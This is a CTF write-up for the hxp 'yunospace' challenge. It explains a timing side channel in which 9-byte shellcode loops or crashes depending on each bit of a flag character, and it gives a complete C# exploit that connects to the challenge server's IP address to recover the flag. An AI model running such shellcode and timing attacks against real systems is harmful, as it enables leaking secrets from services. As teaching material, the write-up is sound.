Skip to content

Latest commit

 

History

History
160 lines (137 loc) · 5.4 KB

yunospace.md

File metadata and controls

160 lines (137 loc) · 5.4 KB

yunospace

When you connect to the service, the python wrapper reads a number number from you and passes the n-th char of the flag to the yunospace binary:

#!/usr/bin/python3 -u

import sys, os, base64

FLAG = "hxp{find_the_flag_on_the_server_here}"

print(" y-u-no-sp                ")
print("XXXXXXXXx.a               ")
print("OOOOOOOOO|                ")
print("OOOOOOOOO| c              ")
print("OOOOOOOOO|                ")
print("OOOOOOOOO|                ")
print("OOOOOOOOO| e              ")
print("~~~~~~~|\~~~~~~~\o/~~~~~~~")
print("   }=:___'>             \n")

print("> Welcome. Which byte should we prepare for you today?")

try:
    n = int(sys.stdin.readline())
except:
    print("> I did not get what you mean, sorry.")
    sys.exit(-1)

if n >= len(FLAG):
    print("> That's beyond my capabilities. Goodbye.")
    sys.exit(-1)

print("> Ok. Now your shellcode, please.")

os.execve("./yunospace", ["./yunospace", FLAG[n]], dict())

The yunospace binary was small and simple: All it did was reading 9 bytes from stdin, writing the passed char behind the 9 read bytes, setting all registers to 0, and jumping there.

Since 9 bytes are (as far as we know) not enough to spawn a shell or to execute a write syscall with the appropriate parameters, we decided to use a side channel attack: Depending on the passed char our bytecode has to terminate (and a segfault is a termination), or loop forever. A quick test shows us that if the program segfaults the socket is closed after <2s, and if it loops the socket is closed after >2s.

An infinite loop depending on a flag takes up two bytes:

74 fe                   je     7 <loop> 

So we have 7 bytes remaining to set a flag depending on the 10th byte and the operation. test seems like the best idea (test performs a binary AND on two operands, and upates ZF), because we can identify the byte with 8 requests: By testing the unknown byte with 1 << x (for x in {0, .., 7}) we get a set zero flag if and only if the x-th bit of the byte is set to zero! 🎉

So the exploit is quite simple. Send these bytes, and observe whether the bits of X are set:

0:  f6 05 02 00 00 00 X    test   BYTE PTR [rip+0x2], X       # 9 <loop+0x2>
0000000000000007 <loop>:
7:  74 fe                   je     7 <loop> 

After experiencing problems with pwntools and closed sockets, I had enough and wrote our exploit in c#:

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;

namespace yunospace
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Hello World!");
            
            for (int i=0;i<100;i++)
            {
                char c = GetChar(i);
                Console.Write($"{c}");
                Console.Out.Flush();
                if (c == '}')
                {
                    break;
                }
            }
            Console.WriteLine("\ndone.");
            Console.ReadKey();
        }

        static char GetChar(int count)
        {
            var tasks = new List<Task<long>>();
            for (int i = 0; i < 8; i++)
            {
                var x = i;
                tasks.Add(Task.Run(async () =>
                {
                    return await Test(x, count);
                }));
            }
            byte b = 0;
            Task.WhenAll(tasks).Wait();
            for (int i = 0; i < tasks.Count; i++)
            {
                if (tasks[i].Result < 2000)
                    b |= (byte)(0x1 << i);
            }
            return (char)b;
        }

        static async Task<long> Test(int one, int count)
        {
            Stopwatch stopWatch = new Stopwatch();
            try
            {
                byte[] buf = new byte[4048];
                TcpClient client = new TcpClient("195.201.127.119", 8664);
                using (StreamReader sr = new StreamReader(client.GetStream()))
                {
                    await ReadOrThrow(sr);
                    await ReadOrThrow(sr);
                    await ReadOrThrow(sr);
                    await ReadOrThrow(sr);
                    await ReadOrThrow(sr);
                    await ReadOrThrow(sr);
                    await ReadOrThrow(sr);
                    await ReadOrThrow(sr);
                    await ReadOrThrow(sr);
                    await ReadOrThrow(sr);

                    client.GetStream().Write(Encoding.ASCII.GetBytes($"{count}\n"));
                    await ReadOrThrow(sr);

                    stopWatch.Start();
                    byte b = 0x01;
                    b <<= one;
                    client.GetStream().Write(new byte[] { 0xF6, 0x05, 0x02, 0x00, 0x00, 0x00, b, 0x74, 0xFE });
                    await ReadOrThrow(sr);
                    await ReadOrThrow(sr);
                    await ReadOrThrow(sr);
                    await ReadOrThrow(sr);
                }
            }
            catch (Exception e)
            {
            }
            stopWatch.Stop();
            return stopWatch.ElapsedMilliseconds;
        }

        static async Task ReadOrThrow(StreamReader sr)
        {
            var line =  await sr.ReadLineAsync();
            if (line == null)
                throw new IOException();
        }
    }
}

And indeed this exploit correctly yielded the flag hxp{y0u_w0uldnt_b3l13v3_h0w_m4ny_3mulat0rs_g0t_th1s_wr0ng}